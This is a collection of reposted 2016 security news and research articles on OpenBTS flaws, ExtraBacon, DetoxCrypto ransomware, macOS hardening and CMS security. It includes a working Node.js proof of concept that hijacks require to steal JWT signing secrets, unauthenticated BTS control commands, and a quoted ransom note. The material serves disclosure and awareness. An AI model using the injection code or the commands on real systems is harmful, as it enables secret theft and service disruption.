(void*)buffer, MAX_UDP_LENGTH, 0, Here we see that MAX_UDP_LENGTH bytes are read instead of MAX_PACKET_LENGTH. This value is defined in the Sockets.h file as follows. #define MAX_UDP_LENGTH 1500 /* (or 8000 for OpenBTS-UMTS) */ Therefore, it’s possible to cause a stack overflow in the transceiver process simply by sending a UDP packet larger than 100 bytes. Figure 4 shows the result of a debugging session when this occurs. Figure 4: Segmentation fault caused by a large UDP packet. Mitigation RCE can be mitigated when the appropriate flags are applied in compile time. History shows that these mitigations can be bypassed given the right vulnerability or chain of vulnerabilities (e.g. with an infoleak). Furthermore, since this software is compiled by various parties, it is likely that some of these builds do not contain sufficient mitigations (ASLR, Stack canaries, etc). If there is no impact or usage of the transceiver interface, we advise blocking this port from external connections on the firewall. Issue 3: Remote Unauthenticated Control Summary The control channel does not implement any type of authentication. Since it is exposed to the outer network due to Issue 1, this fact can be used by any malicious party to control the transceiver module remotely. Impact An attacker could… …deny service by turning the module off. …jam frequencies by tuning the TX radio to the wrong frequency. …hijack BTS identity remotely using the SETBSIC command to change the BTS identity to another one. Details The control channel implements a simple text over UDP protocol handled by theTransceiver::driveControl method in the Transceiver.cpp source file. Some of the features this protocol exposes include (remember, there is no authentication): Turning the TRX module on or off: CMD POWERON / CMD POWEROFF Tuning the TRX to other frequencies: CMD RXTUNE frequency / CMD TXTUNE frequency Setting the GSM cell identity: CMD SETBSIC value An attacker can execute such commands (and others) by simply sending UDP packets to port 5701 of the server. The full protocol specification can be found inside the TRXManager/README.TRXManager file. Conclusions, Additional Mitigations & Recommendations: We’ve demonstrated how the complete lack of any form of authentication and code bugs make the aforementioned BTS products vulnerable to a wide range of attack. We highly recommend vendors to apply the following mitigations in order to make their products safer: Update your BTS software when a patch is available. Bind the sockets used for control and data exchange only to the local interface (127.0.0.1). Firewall: Block traffic coming from external networks to ports 5701 ( control port ) and 5702 ( data port), or other ports as used by your BTS software. Be sure to apply compile time mitigations (ASLR + DEP) Implement an authentication system for such channels to deny an unprivileged attacker logged on the same machine, or on the same network, from communicating with BTS control ports. Fix buffer handling by using correct sizes. Perform additional code audits. For security and mobility professionals concerned about implications of similar attacks to corporate or BYOD devices, consider leveraging a Mobile Threat Prevention solution such as Zimperium zIPS to detect active manipulation by an unauthorized third party. Disclosure Timeline 26 April 2016: Initial disclosure email sent to vendors. 29 April 2016: Contact from OsmoBB 30 April 2016 : OsmoBB: follow up 06 May 2016: Initial notification to Zimperium Handset Alliance (ZHA). 06 May 2016: OpenBTS: bugs fixed [1] [2] 07 June 2016: Follow up with vendors 07 June 2016: OsmoBB: bug fixed 06 July 2016: Release to ZHA partners 06 July 2016: OpenBTS: Reverted overflow fix (!!) [3] 13 July 2016: OpenBTS: Reverted bind fix (!!) [4] 10 August 2016 : Commented on both “Why are you deliberately reintroducing severe security issues in your software?” (OpenBTS) 15 August 2016: OpenBTS – Follow up, no response 17 August 2016: Public Disclosure Follow Us Follow @zimperium Sursa: https://blog.zimperium.com/analysis-of-multiple-vulnerabilities-in-different-open-source-bts-products/

Kaspersky a făcut propriul sistem de operare by unacomn on 24/08/2016 Pentru cea mai mare parte a ultimilor ani nu au fost chiar atât de multe sisteme de operare, cel puțin nu în ceea ce privește tehnologia pe care sunt bazate. Realizarea unuia de la zero este un proces lung și dificil, așa că nu apar peste noapte. Dar după patru ani de muncă, Kaspersky pare să fi realizat unul. Kaspersy Labs a realizat propriul sistem de operare, KasperskyOS, construit de la zero folosind tehnologie proprie, fără să fie bazat pe Unix, Linux, Windows sau orice alt software deja existent. Sistemul de operare a fost făcut cu siguranță în minte, motiv pentru care prima sa aplicație este în routerele făcute de compania Kraftway, menite pentru sectorul industrial, instituții guvernamentale, spitale și învățământ. Fiind construit pe tehnologie complet nouă, KasperskyOS nu este atât de vulnerabil din start, iar principiile pe care a fost făcut încearcă să reducă impactul pe care îl poate avea un atac de malware asupra sistemului. Ca să nu mai spunem de beneficiile pe care le aduce lipsa unui backdoor care ar putea sau nu să fie prezent de ani de zile în fiecare alt sistem de operare. Sistemul de operare nu permite proceselor care rulează să comunice în mod anonim, nu le permite să încalce care le-a fost atribuit de politica de securitate și în general este făcut să nu lase malware să o ia razna, chiar și dacă reușește să se instaleze. Detalii complete despre acest sistem de operare ar trebui să fie disponibile în viitorul apropiat. Dacă vreți să aflați mai multe despre tehnologie, puteți arunca o privire peste planul general de acum câțiva ani. Nu se știe dacă va exista o variantă și pentru desktop, dar având în vedere cât de mulți fani are Microsoft în Rusia și restul lumii, de când cu Windows 10, nu este exclusă posibilitatea ca acest KasperskyOS să ajungă și pe PC-uri cândva. Nu de îndată, pentru că transformarea unui sistem de operare specializat într-unul pentru utilizatorul de rând este un proces mai dificil, după cum tot demonstrează și Linux, dar cândva. [The Register] Sursa: https://zonait.tv/kaspersky-a-facut-propriul-sistem-de-operare/

Zeljka Zorz - Managing EditorAugust 23, 2016 Android 7.0 Nougat is out, with new security features Google has released Android 7.0 Nougat, and the newest version of the popular mobile OS is already being rolled out to Google’s existing Nexus devices. “Today, and over the next several weeks, the Nexus 6, Nexus 5X, Nexus 6P, Nexus 9, Nexus Player, Pixel C and General Mobile 4G (Android One) will get an over the air software update to Android 7.0 Nougat. Any devices enrolled in the Android Beta Program will also receive this final version,” Sameer Samat, VP of Product Management, Android & Google Play, explained on Monday. The LG V20, to be released in September, will be the first smartphone to come equipped with Android Nougat right out of the box. New Android 7.0 Nougat security features The new OS version brings many changes, including new security features for individual and enterprise users. Google is set to release newer Nexus devices in the fall. For them, new features will include seamless updates, file-based encryption, and Direct Boot. Direct Boot is meant to help apps run securely even before users unlock their device when the device reboots. If the reboot happens and users don’t notice (and therefore aren’t logged in), Secure Boot will make sure that the apps start working as soon as the phone finishes booting (i.e. before users sign in). For more details about the feature, go here and here. By encrypting at the file level, Nougat will better isolate and protect files for individual users on their device. “New Android devices with Nougat can install software updates in the background which means you won’t have to wait while your device installs the update and optimizes all your apps for the new version,” Samat explained. Current Nexus users won’t get seamless updates, but Google promises that Android Nougat will bring them faster software update installs. Nougat also comes with restricted permission sharing between apps, restricted manoeuvring space for apps with device admin permissions (they can’t change users’s PIN or passwords) and more user control over this type of apps (users will be able to easily uninstall them. For enterprise users, Nougat will bring the “always-on VPN” feature, which will enforce secure connections and sharing; a better and cleared separation between private and work-specific Android profiles; a new QR code-based device provisioning option; and more. As always, users will be able to peruse and set the optional security features through the device’s Settings app. Sursa: https://www.helpnetsecurity.com/2016/08/23/android-7-0-nougat-security-features/

NSA-linked Cisco exploit poses bigger threat than previously thought With only a small amount of work, ExtraBacon will commandeer new versions of ASA. DAN GOODIN - 8/23/2016, 9:09 PM Enlarge Recently released code that exploits Cisco System firewalls and has been linked to the National Security Agency can work against a much larger number of models than many security experts previously thought. An exploit dubbed ExtraBacon contains code that prevents it from working on newer versions of Cisco Adaptive Security Appliance (ASA), a line of firewalls that's widely used by corporations, government agencies, and other large organizations. When the exploit encounters 8.4(5) or newer versions of ASA, it returns an error message that prevents it from working. Now researchers say that with a nominal amount of work, they were able to modify ExtraBacon to make it work on a much newer version. While Cisco has said all versions of ASA are affected by the underlying vulnerability in the Simple Network Messaging Protocol, the finding means that ExtraBacon poses a bigger threat than many security experts may have believed. SilentSignal The newly modified exploit is the work of SilentSignal, a penetration testing firm located in Budapest, Hungary. In an e-mail, SilentSignal researcher Balint Varga-Perke wrote: We first started to work on the exploit mainly to see how easy it would be to add support for other (newer) versions. Turns out it is very easy, that implies two things: The leaked code is not as poor quality as some might suggest The lack of exploit mitigation techniques in the target Cisco software makes the life of attackers very easy FURTHER READING Cisco confirms NSA-linked zeroday targeted its firewalls for years As Ars previously reported, the zero-day exploit allows remote attackers who have already gained a foothold in a targeted network to take full control of a firewall. It was one of more than a dozen highly advanced attacks that was part of a mysterious leak by a previously unknown group calling itself the ShadowBrokers. Researchers say digital fingerprints left inside the code all but prove the attacks belonged to the Equation Group, an elite hacking crew with ties to the NSA-sponsored Stuxnet and Flame malware that targeted Iran and the Middle East. Michael Toecker, an engineer at a firm called Context Industrial Security, has analyzed ExtraBacon and found that it was designed to work only with versions 8.4(4) and earlier of ASA. He provided the following screenshot to illustrate the restrictions. Enlarge Michael Toecker FURTHER READING How “omnipotent” hackers tied to NSA hid for 14 years—and were found at last The success of the modified exploit "demonstrates just how persistent a vulnerability in code can be, how it moves into new versions unless it's found and eradicated," Toecker told Ars. "I don't know who built ExtraBacon, but thousands of users in the US are now vulnerable to the same exploit because nobody told Cisco their SNMP code was busted, and the vulnerable code continued into later versions." Toecker went on to say that the vulnerability of later ASA versions likely didn't take Cisco by surprise. Near the bottom of a post that Cisco published last week in response to the ShadowBrokers leak, the company's principal engineer, Omar Santos, reported that ExtraBacon caused ASA version 9.4(1) to seize up and stop working. Such crashes are often the first sign of a bug that, when properly exploited, allows an attacker to remotely execute malicious code. Cisco engineers have released software that allows ASA customers to detect and stop ExtraBacon-powered attacks, but the company has yet to actually patch the underlying bug. The ShadowBrokers release means that advanced attacks can be carried out by a much wider base of hackers than would normally be possible. "We have test equipment and custom firmware images that make debugging easier," Varga-Perke of SilentSignal said. "These are most likely available for malicious parties, too; we are quite confident that similar code exists in private hands." As Ars and Cisco have noted previously, the ExtraBacon exploit requires attackers to already have compromised parts of a targeted network. That requirement and the bar Varga-Perke described for modifying ExtraBacon means it's probably prohibitively difficult for script kiddies to exploit newer versions of ASA. Still, for more talented hackers, there's no longer any debate. People running ASA should make sure they've installed last week's exploit signature and the upcoming patch as soon as it's available. DAN GOODINDan is the Security Editor at Ars Technica, which he joined in 2012 after working for The Register, the Associated Press, Bloomberg News, and other publications. EMAIL dan.goodin@arstechnica.com // TWITTER @dangoodin001 Sursa: http://arstechnica.com/security/2016/08/nsa-linked-cisco-exploit-poses-bigger-threat-than-previously-thought/

Linux at 25: An ecosystem, not only an OS Credit: PCbots InfoWorld celebrates the 25th birthday of Linux -- and the new generation of open source projects Linux enabled InfoWorld | Aug 22, 2016 I discovered Linux the way most people did, through word of mouth in the 1990s, when rumors spread of a free "hobbyist" OS designed to run on x86 PCs. For the first decade of Linux's 25 years, Linux was largely a curiosity outside of its core community. I'm proud to say InfoWorld was among the first publications to take Linux seriously, culminating in a January 2004 review entitled "Linux 2.6 scales the enterprise." In it, InfoWorld contributing editor Paul Venezia issued a fateful warning: "If commercial Unix vendors weren’t already worried about Linux, they should be now." [ InfoWorld celebrates Linux at 25: Containers and unikernels prove less is more. | Quick guide to Linux admin essentials. | Stay up on open source with theInfoWorld Linux report. ] Today Linux has expanded far beyond its conquest of the server market. If you include Android, which is built around the Linux kernel, not to mention embedded Linux devices from TVs to network switches, you're talking billions of instances. This week on InfoWorld, you'll see a string of articles celebrating Linux, including a feature article from Paul, plus his interview with Linux creator Linus Torvalds. Those two stories will run on Aug. 25 -- the same date on which Torvalds first announced Linux in 1991. Over the years, Linux has grown in another way: The sheer scale of its community development operation. Jim Zemlin, executive director of the Linux Foundation, recently offered me some awe-inspiring stats: There are 53,000 source files in the Linux kernel, 21 million lines of code. There are 3,900 developers from all around the globe, 10,800 lines of code are added, 5300 lines of code are removed and 1,800 lines of code are modified every single day in the Linux kernel. It changes seven, eight times an hour on average, every day, 365 days a year. That is a prolific, tremendous scale that is just unparalleled in the history of software development. That's the kernel alone. Zemlin reminds us that the versioning and repository system Git, on which GitHub is based, was created by Torvalds to help manage this massive development effort. Each rev of the kernel, offered under the GPLv2 license, flows to the multitude of Linux distributions, the providers of which are responsible for the customer experience. Given that Linux providers pay nothing for the kernel, how does Torvalds earn a living? He's an employee of the Linux Foundation, as is a coterie of core contributors and administrators, but they're far outnumbered by a much larger group of dedicated developers employed by familiar names: Intel, Red Hat, Samsung, Suse, IBM, Google, AMD, and many more. This consortium supplies both monetary support to the Foundation and millions of lines of code to the Linux project. Although Torvalds technically reports to Zemlin, the latter invokes his daughter to describe their relationship: "Like my daughter, who shares a lot in common with Linus, they’re both adorable, they both are brilliant, and neither of them listens to anything I say." As you can tell, Zemlin likes to minimize his own role, going as far as to say, "I'm just the janitor keeping the wheels turning." But it's impossible to ignore the growing importance of the Foundation itself -- and its 50 open source projects beyond the Linux kernel, a number of them vital to the future of enterprise computing. Take the Linux Foundation's Open Container Initiative (OCI). It's fair to say that no new enterprise technology over the past couple of years has had a greater impact than Docker packaging for Linux containers, and the OCI is the cauldron where those specs are being hashed out. Alongside the OCI, the Cloud Native Computing Foundation promises to harmonize container management and orchestration solutions for the next-gen enterprise cloud, with Google's red-hot Kubernetes at the core. Zemlin is particularly excited by the Foundation's new, fast-growing Hyperledgerproject, a blockchain-based initiative to create an open, enterprise-grade distributed ledger system for all sorts of transactions. "Blockchain has the potential to change the nature of trusted transactions on the internet," he says. "Beyond that, it’s a security modality for connected devices where you have a trusted, immutable record of cryptographically secure trust on the internet. It’s a huge project." The sheer breadth of open networking projects also demands attention. Together you can view them as circumscribing the future of networking: OpenDaylight,Open Network Operating System, Open Orchestrator Project, Open Platform for NFV, Open vSwitch, and OpenSwitch. As Linux turns 25, it's worth pondering not only the impact of the endlessly morphing, proliferating OS itself, but its role in legitimizing open source and elevating it to the point where, today, it has become ground zero for technology development. Linux has its rich ecosystem of contributors, providers, and users of all stripes. But around that, supported by the Linux and Apache Foundations and others, a vast constellation of auspicious open source projects has arisen, each with its own potential to shake up enterprise computing. Rather than wandering in the wilderness for a decade, the best of them are already being taken seriously. Eric Knorr — Editor in Chief Eric Knorr is the editor in chief for InfoWorld and has been with the publication since 2003. Eric has received the Neal and Computer Press Awards for journalistic excellence. Sursa: http://www.infoworld.com/article/3109891/linux/linux-at-25-an-ecosystem-not-only-an-os.html

Table of Content Introduction Authentication Ensure Security of Standard and Default Accounts Users Privilege Separation Ensure Password Security Enforce Password Security Two Factor Authentication Automatic Login and User Lists Guest Accounts Restrict Sudoers file Automatically Lock the Login Keychain General Configuration Gatekeeper Disable Diagnostics Disable Handoff Tracking Services FileVault Firewall Require Administrator Password Screensaver and Un-locking Filename Extensions System Updates Prevent Safari from Opening Known File Types Set Strict Global Umask Technical Configuration Disable Bluetooth Firmware Password Setuid and Setgid Disable Core Dumps Network and Communication Security Advanced Firewall Disable Wake on Lan Disable Apple File Protocol (AFP) Disable Unnecessary Services Disable Sharing Harden TCP/IP Kernel Parameters Enable Network Time Synchronization via NTP Disable Bonjour (mDNS) Recommended Applications Little Snitch Micro Snitch BlockBlock Lockdown RansomWhere? Dylib Hijack Scanner Lynis Introduction ERNW has compiled the most relevant settings for OS X 10.11 El Captain into this compilation of security recommendations. This document is supposed to provide a solid base of hardening measures to enhance the system security and still remaining commonly applyable. Settings which might have severe impact on the functionality of the operating system and need a lot of further testing are not part of this checklist or marked as optional. We have marked each recommended setting in this checklist either with “mandatory” or “optional” to make a clear statement, which setting is a MUST (mandatory) or a SHOULD (optional) from our point of view. “Optional” also means that we recommend to apply this setting, but there may be required functionality on the system that will become unavailable once the setting is applied. Important: This Guide will force you to Disable SIP (System Integrity Protection) a few times. After the hardening is done, please make sure you enable SIP again. Articol complet: https://github.com/ernw/hardening/blob/master/operating_system/osx/10.11/ERNW_Hardening_OS_X_EL_Captain.md

New DetoxCrypto Ransomware pretends to be PokemonGo or uploads a Picture of your Screen By Lawrence Abrams A new ransomware called DetoxCrypto has been discovered by MalwareHunterTeam that is currently being distributed under two different variants. The first variant looks like a generic ransomware but contains the interesting feature of taking a screenshot of your acting Windows screen when it is installed. The second variant is trying to take advantage of the immense popularity of PokemonGo, by hoping to trick people into installing it. This ransomware appears to be either part of an affiliate system or being sold on darkweb sites as we are seeing different variants, with different themes, email addresses, and features. For example, one variant has a Pokemon theme, while another has a more generic ransom note, but takes a picture of your active Windows screen when it is installed. All variants will encrypt your data using AES encryption, stop MySQL and MSSQL services, display a ransom note/lock screen, and play an audio file while the lock screen is showing. In order to pay the ransom, victims are instructed to contact an email listed in the lock screen for payment instructions. Anatomy of the DetoxCrypto Ransomware It is currently not known how this ransomware is distributed, but so far the variants we have observed all use a single distributed executable that contains other executables and files embedded within it. When the main distribution executable is run, it will extract a file called MicrosoftHost.exe, an audio file, a wallpaper background, and a third executable, whose name varies per variant of DetoxCrypto. The MicrosoftHost.exe executable performs the actual encryption of the drive and stop the database servers on the victim's computer. When encrypting files it will not append a different extension to it. It will also configure the Windows desktop background to use the embedded image file that is extracted. The third file, which we have seen named Calipso.exe and Pokemon.exe, display the lock screen, play an audio file, and provide the ability to decrypt a victim's file if the correct password is entered. This file appears is not static between each variant that we noticed, so it is possible that different distributors customize this file to perform their own desired tasks. The two different variants we have seen so far is a Pokemon theme and a generic looking looking one, with an interesting screen capture routine. Both of these are described further below. Calipso Variant The Calipso variant of DetoxCrypto was discovered by Intel security researcher Marc Rivero López, When run it will extract numerous files to the C:\Users\[account_name]\Calipso folder as shown below. Calipso Folder The ransomware will then encrypt the victim's computer, display a lock screen, and play some music. The lock screen will instruct the victim to email motox2016@mail2tor.com in order to get payment instructions. A video of the lock screen and audio can be seen above. When this ransomware is executed, it will also take a screenshot of the active screen and upload it to the developer. Screen capture function It is possible that based on what is contained in the screenshot, the ransomware developer may try to increase the price of the ransom if the image contains blackmail worthy content. We are all Pokemons Variant Pokemon Background The Pokemon themed variant of DetoxCrypto is distributed as an executable called Pokemongo.exe. When executed the ransomware will extract numerous files to the C:\Users\[account_name]\Downloads\Pokemon folder as shown below. Pokemon Folder The ransomware will then encrypt the victim's computer, display a lock screen, and play some music. The text of the lock screen is: We are all Pokemons YOUR DOCUMENTS, PHOTOS, DATABASES AND OTHER IMPORTANT FILES HAVE BEEN ENCRYPTED AND A UNIQUE UNLOCK KEY IS GENERATED !! YOU CAN ONLY UNLOCK YOUR FILES BY BUYING THIS KEY FROM US, THERE IS NO OTHER WAY TO SAVE OR UNLOCK YOUR FILES !! HOW TO UNLOCK MY FILES ? You need to send 2 Bitcoins to our Bitcoin Wallet address. To get the Wallet address contact us at : contact365@mail2tor.com WE RECOMMEND TO BUY BITCOINS HERE : WWW.LOCALBITCOINS.COM Register and buy Bitcoins with PayPal, Skrill or find someone who sells Bitcoins Locally by entering your City and select CASH in person as Your paying option. TO SAVE TIME YOU CAN GIVE THE SELLER OUR BITCOIN ADDRESS AND HE CAN SEND THE BITCOINS TO US DIRECTLY. AFTER WE RECEIVE THE PAYMENT WE WILL SEND YOU THE UNLOCK KEY TO THE EMAIL YOU CONTACTED US FROM. ** Act fast because ALL YOUR FILES WILL BE DELETED IN 96h ** ** IF YOU DELETE THIS PROGRAM ALL YOUR FILES WILL BE DELETED FOREVER ** The lock screen for this variant can be seen below. Caption LAWRENCE ABRAMS Lawrence Abrams is the creator and owner of BleepingComputer.com. Lawrence's area of expertise includes malware removal and computer forensics. Lawrence Abrams is a co-author of the Winternals Defragmentation, Recovery, and Administration Field Guide and the technical editor for Rootkits for Dummies. Sursa: http://www.bleepingcomputer.com/news/security/new-detoxcrypto-ransomware-pretends-to-be-pokemongo-or-uploads-a-picture-of-your-screen/

One easy way to inject malicious code in any Node.js application Posted on August 22, 2016 tl;dr This article describes a method of injecting arbitrary code in Node.js modules. It does not encourage unethical behavior. The chain used to include instances of modules can be tampered to allow modification of required dependencies. Knowing this fact, a malicious attacker would be able to craft a module that can modify legitimate code. This malicious code could then be shipped as part of a widely used module on the NPM registry and any `require` call made after the first instantiation of the malicious module would be vulnerable to a potential code injection. However, the method described in this article can also be used legitimately in some situations such as code coverage calculation, mocking or instrumentation. Programmers have to take the time to look at the sources of 3rd party libraries they are using in order to know what to expect. Definitions “require chain”: the code executed between a call to the `require` function and the return statement of this function. “module”: a set of code that can be instantiated in a runtime using the `require` function “core module”: a module available from the Node.js standard library. “external module”: a module downloaded from a registry such as NPM. “internal module”: a module existing only from within the current project and instantiated using `require` and relative or absolute path to the module’s location. “main module”: the entry point of a Node.js application. It is the file passed as an argument to the `$ node` executable. Introduction I have recently been given the task of finding a way to instrument all functions declared within a Node.js application. I came up with the following approaches: Create an addon to V8 to track all functions. Add hooks to any method that triggers asynchronous operations, and update the code before its execution. Change the behavior of the `require` function to patch code at instantiation time. The first method would require a fair amount of low-level programming and would probably not be portable to other Node.js runtimes such as ChakraCore. Hooking all asynchronous core methods is definitely possible (it will be even easier in the future with the release of “async_wrap” by the tracing working group.) However, if the behavior of a code chunk is modified, the modification needs to be reapplied each time the chunk is seen in the event queue which could lead to severe performances loss. Hijacking the require chain is not common, but there are still quite a few modules that use this strategy. How it works is that all modules required through `require` are patched at instantiation time. The major drawback of this method is that the main module of the application can’t be instrumented. I decided to go with hijacking the require chain, since it has the least disadvantages, and another solution would be attempted later for instrumenting of the main module. The require chain The Node.js require chain is based on the core module named “Module”. A simplified view of the require chain Modules name can represent one of three things: core module name the name of a module in the path (i.e. within the “node_modules” directory) a relative path to a local file There are also three outcomes to a successful call to `require`: the module is already cached, so the cached version is returned. Because of this, calls to `require` are singletons. the module is a core module, so a precompiled version is returned. (core modules have their own cache space) the module is not in the core, so the “_compile” method will run the code from the required file using the core module named “vm”, cache the result, and return it. Hijacking the require chain The require chain can be hijacked in various locations. I decided to do it at the “_compile” level, and have released a module called “compile-hook”. Its source code is pretty simple and can be found here: 'use strict'; const Module = require('module'); const originalCompile = Module.prototype._compile; const nohook = function (content, filename, done) { return done(content); }; let currentHook = nohook; Module.prototype._compile = function (content, filename) { const self = this; currentHook(content, filename, (newContent) => { newContent = newContent || content; originalCompile.call(self, newContent, filename); }); }; const placeHook = function (hook) { currentHook = hook; }; const removeHook = function () { currentHook = nohook; }; module.exports.placeHook = placeHook; module.exports.removeHook = removeHook; view rawcompile-hook.js hosted with by GitHub The “_compile’ method is monkeypatched to add a transformation step to the code before instantiation. Injecting malicious code The “jsonwebtoken” module is a pretty popular package for managing authentication with JWT, so we will use it as an example to demonstrate how we can to inject code into this module to steam the secret keys used to sign tokens. Here is a simple malicious module I created earlier: 'use strict'; const Hook = require('compile-hook'); const Acorn = require('acorn-jsx'); const Falafel = require('falafel'); const hijack = function (script) { return Falafel(script, { parser: Acorn }, function (node) { if (node.type === 'AssignmentExpression' && node.source().includes('module.exports')) { node.update('var hackerStream = new require(\'stream\').PassThrough();\n' + node.source() + '\nmodule.exports.hackerStream = hackerStream;' + '\n'); } if (node.source() === 'options = options || {};') { node.update(node.source() + '\n' + 'hackerStream.push(secretOrPrivateKey)'); } }); }; Hook.placeHook((content, filename, done) => { if (filename.includes('/sign.js')) { done(hijack(content)); } else { done(); } }); const jwt = require('jsonwebtoken'); jwt.sign.hackerStream.on('data', (raw) => { console.log('secret', raw.toString()); }); view rawexploic.js hosted with by GitHub And an example of an unfortunate victim application: 'use strict'; require('@vdeturckheim/exploic'); const jwt = require('jsonwebtoken'); const token = jwt.sign({ foo: 'bar'}, 'shhhhh'); console.log(token); view rawvictimpoc.js hosted with by GitHub The output of this app is as follows: $ node index.js secret shhhhh eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJmb28iOiJiYXIiLCJpYXQiOjE0NjQ4OTQ5Mjh9.LvIWJiFCamu8azvnNgh8VvleVZUETNvDZRon1tKBImU As you can see, the secret key given to the `sign` function is intercepted by the malicious module and printed to the console. secret shhhhh We merely display the secret here, but a real malicious script could post the secret keys to a remote server such as Pastebin. Conclusion Regarding the Sqreen Node.js agent, I ended up using a slightly different strategy than the one described in this article: the exported methods of the instrumented modules are not modified but wrapped. The wrapper is given the responsibility of the instrumentation and the original code stays untouched. This article is mainly aimed at raising awareness within the Node.js community of this potentially malicious technique. We demonstrate that hijacking the require chain is pretty easy, and can lead to severe security issues in Node.js applications. Even if countermeasures are created, programmers should always take the time to manually look at the source code of any external dependencies they download from public registries. Any time source code or executable binary data is downloaded and run on a machine, it can potentially lead to security issues. Some modules hijack the require chain for legitimate reasons. For instance: “njsTrace” instruments function calls this way. the “lab” test runner uses this method to compute code coverage. There is no easy way to prevent this technique from being used, the only simple solution is to carefully review each dependency and wisely choose which third party modules you use in your projects. Feel free to send me any comments and remarks regarding this article. We are also soon releasing our private beta for Sqreen! Please let me know if you’re interested in being a beta tester. Thanks for reading, Vladimir Vladimir is a software engineer at Sqreen.io with a background in cyber-security. He is involved in diverse open-source projects in JavaScript (mostly within the hapijs project) and has recently contributed to the Node.js core. He is currently working at Sqreen and is responsible for the Node.js instrumentation. Sursa: https://blog.sqreen.io/one-easy-way-to-inject-malicious-code-in-any-node-js-application/?utm_source=social&utm_medium=twitter&utm_campaign=sumome_share

On the (in)security of popular open source Content Management Systems written in PHP August 24, 2016 3:02 am by P.I.E. Staff Community Our previous post included a checklist comparing CMS Airship (our Free Software CMS platform designed with security in mind) to the three most popular content management systems currently in use on the Internet: WordPress (26.6% of all websites) Joomla (2.8% of all websites) Drupal (2.2% of all websites) The checklist compared out-of-the-box security properties (features or design decisions that affect the security of the software and any extensions developed for it) rather than what's possible with community-provided extensions. Tooltips were also provided on individual cells to clear up any confusion on why we did or did not award a checkmark to a given project for a given security property. Since the previous post was published, several technologists asked us to explain the individual security deficits of other PHP content management systems in detail. Some of these are straightforward (e.g. WordPress doesn't offer encryption, so there's nothing to analyze), but others require a careful eye for code auditing. Familiarity with PHP security is also greatly beneficial to understanding, although we will attempt to explain each item in detail. We're going to set Airship aside for the remainder of this post. All you need to know is Airship met all of the criteria for a secure-by-default content management system. If you'd like to learn more aboutAirship's security features, we've covered this in detail here. WordPress, Joomla, and Drupal: The Good Parts All three content management systems score points for being Free Software, released under the GNU Public License. Consequently, their source code is available for their users to inspect and analyze. This offers three benefits: Independent security experts can assess the security of their offering and, with source code citations to prove their arguments, explain what's secure or insecure. Independent security experts can take their findings and offers better ways to improve the security of their software. You have the ability to run a copy of the software that you've verified to be known-good. For example, last year, we made WordPress's wp_rand() function cryptographically secure as of WordPress 4.4.0. This would not have been possible without the first two properties. In addition to being open source, all three provide a security mechanism to mitigate Cross-Site Request Forgery attacks. We didn't include whether or not plugins/extensions fail to utilize the CSRF mitigation feature in our analysis. If you're using a third-party plugin, don't assume that CSRF vulnerabilities can't or won't happen to your application just because there's a mitigation feature in the core. Drupal: Context-Aware Output Escaping The correct way to prevent cross-site scripting vulnerabilities is to escape data on output, not on input. Escaping on input can lead to bizarre exploitation strategies, e.g. WordPress's stored XSS vulnerability enabled by MySQL column truncation. You should be saving the original, unaltered copy of any data in case you need to update your escaping strategy to prevent a filter bypass. Escaping on output allows you a measure of agility that input escaping does not. You may, however, cache the escaped data for subsequent requests to improve your application's performance. The latest versions of Drupal got this right, and should be commended for it. Joomla: Secure Password Storage and Two-Factor Authentication Out of the three, Joomla is the only CMS that leverages PHP's native password hashing features. This means that cracking the passwords stored in a modern Joomla app is nontrivial, should one ever be compromised. Additionally, Joomla now provides two-factor authentication out-of-the-box, which helps mitigate the consequences of weak user passwords. Joomla: Secure PHP Encryption In response to our security advisory about JCrypt's design flaws last year, the Joomla team adoptedDefuse Security's secure PHP encryption library (version 1.2.1) instead. While version 2 offers significant improvements over version 1, there are no known security vulnerabilities in that version of Defuse Security's PHP encryption library. The Bad and the Ugly Security Deficits in WordPress's Core WordPress Automatic Updates Are Not Secure WordPress is the only one of the big three content management systems that offers automatic updates, but it does so insecurely. In order to have secure automatic updates, you need to have a secure code delivery system in place. Secure code delivery has three properties: Cryptographic signatures: The deliverable was signed by a private key and you can verify the signature with the corresponding public key. Reproducible builds: You can reproduce the deliverable from the source code. Userbase consistency verification: Everyone gets the same thing. Implementations involve append-only data structures, such as Merkle trees, which are also used in certificate transparency and Bitcoin. WordPress's automatic updates are not cryptographically signed with (an offline) private key. This means if an attacker can compromise their update servers and upload a malicious download, they can install a trojan on 26.6% of the websites on the Internet. The consequences of a compromise of this magnitude cannot be understated. Such an attack could enable financial information fraud and distributed denial of service attacks on a scale we've never seen before, and that our systems are almost certainly incapable of enduring. Nothing stops an attacker from silently distributing malware through a compromised update server only to targets of interest, since there are no userbase consistency verification protocols in place either. However, given that WordPress is open source and PHP is an interpreted language, it's fair to give them credit for reproducible builds. WordPress Does Not Use Prepared Statements Many WordPress users are surprised to learn that WordPress doesn't use prepared statements, given the existence of wpdb::prepare(). To understand what's going on, you first need to know what prepared statements actually do: The application sends the query string (with placeholders) to the database server. The database server responds with a query identifier. Some servers allow you to cache and reuse query identifiers for multiple prepared queries to reduce round trips. The application sends the query identifier and the parameters together to the server. The reason this is a security boon over escape-then-concatenate is that the query string is never tainted by the parameters. They're sent in separate packets. This is an important distinction;Unicode-based hacks to bypass mysql_real_escape_string() are dead on arrival when prepared statements are used. What WordPress's wpdb::prepare() does instead of prepared statements is escape-then-concatenate. WordPress Salted MD5 for Password Hashing WordPress users may be surprised to learn that, despite using Phpass (a well-regarded password hashing library written by Solar Designer which offered bcrypt before PHP got a native password hashing API), WordPress doesn't use bcrypt for password storage. To understand why, first pay attention to this code snippet and this one as well. If $this->portable_hashes is set to TRUE, it will call $this->crypt_private() (which uses 8192 rounds of MD5). Where is $this->portable_hashes defined? In the constructor. And, of course, it's always set toTRUE when an object is created in the WordPress core. Consequently, HashPassword can be greatly simplified to the following snippet: function HashPassword($password) { if ( strlen( $password ) > 4096 ) { return '*'; } /* these steps are skipped */ $random = $this->get_random_bytes(6); $hash = $this->crypt_private($password, $this->gensalt_private($random)); if (strlen($hash) == 34) return $hash; return '*'; } One reason for this deviation from Phpass was to gracefully handle corner cases where someone downgrades to a version of PHP too old to support bcrypt without losing the ability to verify existing password hashes. Security Deficits in Joomla's Core Joomla Does Not Offer Automatic Updates Joomla doesn't offer automatic security updates. In the event that a security vulnerability is discovered in Joomla and a fix is released, it's up to every individual Joomla site operator to validate and install the update manually. Until the patch is applied, your systems are vulnerable. As a consequence, most Joomla websites still run outdated versions of Joomla. Joomla Doesn't Provide Prepared Statements To reiterate: Prepared statements are a way of interacting with a database that, among other things, makes preventing SQL injection simple while eliminating corner cases. 